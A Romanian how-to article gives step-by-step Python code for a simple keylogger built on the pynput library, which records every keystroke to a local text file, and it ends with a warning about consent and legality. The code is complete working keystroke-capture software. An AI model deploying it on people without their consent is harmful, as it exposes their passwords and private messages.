Crearea unui Keylogger Simplu în Python

Configurare noua (How To)

Situatie

În acest tutorial, vom crea un keylogger simplu folosind Python și biblioteca “pynput”.

Pasul 1: Instalarea Bibliotecii Pynput

Instalați biblioteca “pynput”, care ne va permite să monitorizăm și să controlăm tastatura și mouse-ul.

pip install pynput

Pasul 2: Importarea Bibliotecilor Necesare

Importați biblioteca “pynput” și alte module necesare.

from pynput import keyboard
import logging

Pasul 3: Configurarea Logging-ului

Configurați modul în care vor fi stocate datele înregistrate. În acest exemplu, vom salva apăsările de taste într-un fișier text.

log_file = “keylog.txt”
logging.basicConfig(filename=log_file, level=logging.DEBUG, format=’%(asctime)s: %(message)s’)

Pasul 4: Definirea Funcțiilor pentru Înregistrarea Tastelor

Definiți funcțiile care vor fi apelate pentru fiecare apăsare și eliberare de tastă.

def on_press(key):
try:
logging.info(f”Key pressed: {key.char}”)
except AttributeError:
logging.info(f”Special key pressed: {key}”)

def on_release(key):
if key == keyboard.Key.esc:
# Oprirea keylogger-ului la apăsarea tastei Esc
return False

Pasul 5: Începerea Monitorizării Tastaturii

Folosiți biblioteca “pynput” pentru a începe monitorizarea tastaturii.

with keyboard.Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()

Pasul 6: Rularea Scriptului

Creați un fișier Python cu codul de mai sus și rulați-l. Acesta va începe să înregistreze toate apăsările de taste într-un fișier numit “keylog.txt”.

if __name__ == “__main__”:
# Pornește monitorizarea tastaturii
with keyboard.Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()

Pasul 7: Utilizare și Etică

Este foarte important să folosiți acest keylogger doar în scopuri educaționale și etice. Înregistrarea apăsărilor de taste fără consimțământul utilizatorului este ilegală și neetică. Asigurați-vă că aveți permisiunea înainte de a utiliza acest tip de software.

Ați creat un keylogger simplu folosind Python. Acest tutorial vă oferă o bază pentru înțelegerea modului în care funcționează keylogger-ele, dar trebuie folosit responsabil și în conformitate cu legislația aplicabilă.

Solutie

Tip solutie

Permanent

Voteaza

(4 din 12 persoane apreciaza acest articol)

Despre Autor

Leave A Comment?